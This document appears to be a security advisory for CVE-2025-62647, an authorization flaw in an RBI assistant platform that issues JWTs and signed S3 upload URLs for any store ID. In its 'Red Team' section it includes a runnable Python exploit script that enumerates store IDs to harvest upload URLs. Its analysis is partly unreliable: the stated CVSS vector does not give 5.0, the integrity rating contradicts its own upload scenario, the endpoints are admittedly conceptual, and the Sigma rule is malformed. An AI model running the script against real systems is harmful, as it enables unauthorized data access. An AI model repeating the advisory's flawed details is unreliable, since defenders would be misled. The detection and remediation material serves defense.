CVE-2025-62647

Executive Summary

CVE-2025-62647 exposes a critical information disclosure vulnerability in the Restaurant Brands International (RBI) assistant platform. The platform, as of 2025-09-06, returns a JSON Web Token (JWT) that can be used to call an API endpoint, which in turn returns a signed AWS S3 upload URL for any store's path. This allows an unauthenticated attacker to enumerate store identifiers and obtain direct, signed upload URLs to arbitrary S3 buckets or paths, potentially leading to unauthorized data access, data exfiltration, or injection of malicious content.

The vulnerability is classified as a CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) with a CVSS v3.1 base score of 5.0 (Medium). The attack vector is network-based, requires no authentication, and has low complexity. While the confidentiality impact is low, the potential for lateral movement and data manipulation is significant.

Supply Chain & Package Security

This vulnerability is not related to a specific open-source package (NPM, PyPI, Go, Ruby). It is a custom web application vulnerability in the RBI assistant platform. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.0 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited information disclosure (signed URLs).
• Integrity (I): None (N) – No direct data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability allows an attacker to obtain signed upload URLs for any store path, enabling unauthorized access to S3 storage. This could lead to data exfiltration, data injection, or further compromise of the AWS environment.

Deep Dive & Mechanics

The RBI assistant platform exposes an API endpoint that, when provided with a store identifier (e.g., store ID or path), returns a JWT. This JWT is then used to authenticate a subsequent API call that returns a pre-signed AWS S3 upload URL. The critical flaw is that the platform does not validate whether the requesting user is authorized to access the specific store's path. An attacker can enumerate store IDs (e.g., sequential integers, common patterns) and obtain valid signed URLs for any store.

Attack Flow:

1. Enumerate Store IDs: The attacker identifies a pattern for store identifiers (e.g., /store/123, /store/456).
2. Obtain JWT: The attacker sends a request to the JWT endpoint with a target store ID. The server returns a valid JWT.
3. Request Signed URL: The attacker uses the JWT to call the API endpoint that generates a signed AWS S3 upload URL for the specified store path.
4. Access S3 Bucket: The attacker uses the signed URL to upload or download files to/from the S3 bucket, potentially accessing sensitive data or injecting malicious content.

Root Cause: Lack of authorization checks on the JWT generation and signed URL API endpoints. The platform trusts that any request with a valid store ID is legitimate.

Vulnerable vs. Patched Code

No official patch is available. The following is a conceptual comparison.

Vulnerable Code (Conceptual):

# Vulnerable endpoint - no authorization check
@app.route('/api/get_upload_url', methods=['POST'])
def get_upload_url():
    store_id = request.json.get('store_id')
    # No validation of user's permission to access this store
    jwt_token = generate_jwt(store_id)
    signed_url = generate_s3_upload_url(store_id)
    return jsonify({'jwt': jwt_token, 'url': signed_url})

Patched Code (Conceptual):

# Patched endpoint - with authorization check
@app.route('/api/get_upload_url', methods=['POST'])
def get_upload_url():
    user = authenticate_request(request)
    store_id = request.json.get('store_id')
    if not user.has_permission(store_id):
        return jsonify({'error': 'Unauthorized'}), 403
    jwt_token = generate_jwt(store_id, user.id)
    signed_url = generate_s3_upload_url(store_id, user.id)
    return jsonify({'jwt': jwt_token, 'url': signed_url})

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target RBI assistant platform instance.
• Python 3.x with requests library.

Exploit Script:

import requests
import sys

def exploit(target_url, store_id):
    # Step 1: Get JWT
    jwt_endpoint = f"{target_url}/api/get_jwt"
    jwt_payload = {"store_id": store_id}
    jwt_response = requests.post(jwt_endpoint, json=jwt_payload)
    if jwt_response.status_code != 200:
        print(f"[-] Failed to get JWT for store {store_id}")
        return
    jwt_token = jwt_response.json().get('jwt')
    print(f"[+] JWT obtained: {jwt_token}")

    # Step 2: Get signed upload URL
    url_endpoint = f"{target_url}/api/get_upload_url"
    headers = {"Authorization": f"Bearer {jwt_token}"}
    url_payload = {"store_id": store_id}
    url_response = requests.post(url_endpoint, json=url_payload, headers=headers)
    if url_response.status_code != 200:
        print(f"[-] Failed to get signed URL for store {store_id}")
        return
    signed_url = url_response.json().get('url')
    print(f"[+] Signed upload URL: {signed_url}")

    # Step 3: Upload a test file (optional)
    # requests.put(signed_url, data=b"test content")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <store_id>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Usage:

python exploit.py https://target-rbi-platform.com 123

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for unusual patterns of API calls to /api/get_jwt and /api/get_upload_url endpoints.
• Alert on multiple requests with different store IDs from the same IP in a short time frame.
• Monitor AWS CloudTrail for PutObject or GetObject events using pre-signed URLs that originate from unexpected IPs.

Honeypot:

• Deploy a fake store endpoint that returns a decoy JWT and signed URL. Monitor for any access to the decoy S3 bucket.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/get_jwt with JSON body containing store_id.
  • HTTP POST requests to /api/get_upload_url with Authorization: Bearer <JWT> header.
  • AWS S3 PutObject or GetObject API calls using pre-signed URLs with unusual source IPs.
• File IOCs:
  • Unexpected files in S3 buckets associated with the RBI platform.
• Log IOCs:
  • Repeated 200 responses from /api/get_jwt and /api/get_upload_url for different store IDs from the same source IP.

Detection Engineering

YARA Rule

rule CVE_2025_62647_JWT_Exposure {
    meta:
        description = "Detects JWT tokens exposed in API responses for CVE-2025-62647"
        author = "Valters IT"
        date = "2025-09-06"
        reference = "CVE-2025-62647"
    strings:
        $jwt_pattern = /eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/
        $store_id = /"store_id"\s*:\s*"\d+"/
    condition:
        $jwt_pattern and $store_id
}

Sigma Rule

title: CVE-2025-62647 - RBI Assistant JWT and Signed URL API Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-62647 by monitoring for multiple JWT and signed URL requests.
author: Valters IT
date: 2025/09/06
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/get_jwt'
            - '/api/get_upload_url'
    condition: selection
    timeframe: 5m
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate API usage by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62647 - RBI Assistant JWT and Signed URL API Abuse"; flow:to_server; content:"POST"; http_method; content:"/api/get_jwt"; http_uri; content:"store_id"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-62647 - RBI Assistant Signed URL API Abuse"; flow:to_server; content:"POST"; http_method; content:"/api/get_upload_url"; http_uri; content:"Authorization"; http_header; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable API endpoints (/api/get_jwt and /api/get_upload_url) until a patch is applied.
2. Implement strict authorization checks on both endpoints. Verify that the requesting user has permission to access the specified store ID.
3. Rate-limit API requests to prevent enumeration attacks.
4. Rotate AWS credentials and invalidate any pre-signed URLs that may have been exposed.

Long-term Fix:

• Apply a vendor patch when available.
• Conduct a security audit of the entire API surface.
• Implement a Web Application Firewall (WAF) rule to block suspicious patterns.

Workaround:

• If the endpoints cannot be disabled, restrict access to trusted IPs via network ACLs or AWS Security Groups.

Valters IT